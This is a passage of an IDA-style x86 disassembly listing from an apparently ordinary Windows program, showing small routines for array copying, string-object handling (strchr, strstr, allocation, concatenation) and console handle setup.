		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097B9:				; CODE XREF: sub_409690+D8j
		test	edi, edi
		jbe	short loc_4097F3
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_4097F3:				; CODE XREF: sub_409690+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409690	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409860	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_409880


loc_409871:				; CODE XREF: sub_409860+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_409871


loc_409880:				; CODE XREF: sub_409860+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_409860	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098A0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_4098A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098C0	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_4098C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098E0	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409912
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_4098F6:				; CODE XREF: sub_4098E0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_4098F6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409912:				; CODE XREF: sub_4098E0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4098E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_409957
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409946:				; CODE XREF: sub_409930+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_409946
		pop	esi
		pop	ebx


loc_409957:				; CODE XREF: sub_409930+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409970	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_409970	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099A0	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099D0	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_4099ED
		mov	edx, [esp+arg_8]
		push	esi


loc_4099E1:				; CODE XREF: sub_4099D0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_4099E1
		pop	esi

locret_4099ED:				; CODE XREF: sub_4099D0+Aj
		retn
sub_4099D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A22
		mov	eax, [esp+arg_8]
		push	esi


loc_409A11:				; CODE XREF: sub_409A00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A22:				; CODE XREF: sub_409A00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409A60	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409A6A
		xor	eax, eax


loc_409A6A:				; CODE XREF: sub_409A60+6j
		shl	eax, 2
		push	eax
		call	sub_43689A
sub_409A60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A90	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AAB:				; CODE XREF: sub_409A90+11j
		retn
sub_409A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AC0	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44715A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409AF6
		push	edi
		call	near ptr 28C188Ch
		nop
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409AF6:				; CODE XREF: sub_409AC0+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409AC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B30	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44715A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B4F
		call	near ptr 28C1BC8h
		nop
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B4F:				; CODE XREF: sub_409B30+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B70	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409B70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BA0:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409BB8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409BB8:				; CODE XREF: ___:00409BADj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BD0	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C10	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C50	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		nop
		call	sub_69BB85
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409C50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CC0	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409CDC
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CDC:				; CODE XREF: sub_409CC0+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409CEF
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CEF:				; CODE XREF: sub_409CC0+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409CC0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409D7A
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D3A
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3A:				; CODE XREF: sub_409D10+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_43689A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 19E89052h, 837783DDh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409D7A:				; CODE XREF: sub_409D10+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DB0	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409DB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409DE0:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		call	sub_69BB85
		nop
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E30	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409EC2
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_43689A
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409EC2
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409EBF
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409EBF:				; CODE XREF: sub_409E30+84j
		mov	[ebx+9], ebp


loc_409EC2:				; CODE XREF: sub_409E30+Cj
					; sub_409E30+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E30	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F00	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F30	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_69BB85
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409F30	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F97
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F97:				; CODE XREF: sub_409F80+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F9B:				; CODE XREF: sub_409F80+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409FC6
		test	cl, cl
		jz	short loc_409FBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409FC6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F9B


loc_409FBF:				; CODE XREF: sub_409F80+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FC6:				; CODE XREF: sub_409F80+23j
					; sub_409F80+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FF0	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A020	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A033
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A033:				; CODE XREF: sub_40A020+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		retn	4
sub_40A020	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A060	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A060	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A090	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0A3
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0A3:				; CODE XREF: sub_40A090+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A090	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_4368E0
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A102
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A102:				; CODE XREF: sub_40A0C0+13j
		add	esp, 2000h
		retn
sub_40A0C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A150	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A174
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A174:				; CODE XREF: sub_40A150+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A150	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1C0	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A1C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A225
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A225:				; CODE XREF: sub_40A210+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A23F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A23F:				; CODE XREF: sub_40A210+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A280	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A293
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A293:				; CODE XREF: sub_40A280+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2A6
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2A6:				; CODE XREF: sub_40A280+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_43689A
sub_40A280	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A300	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A300	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A320	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A372
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F30
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A372:				; CODE XREF: sub_40A320+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_43689A
sub_40A320	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_436882
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A450	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
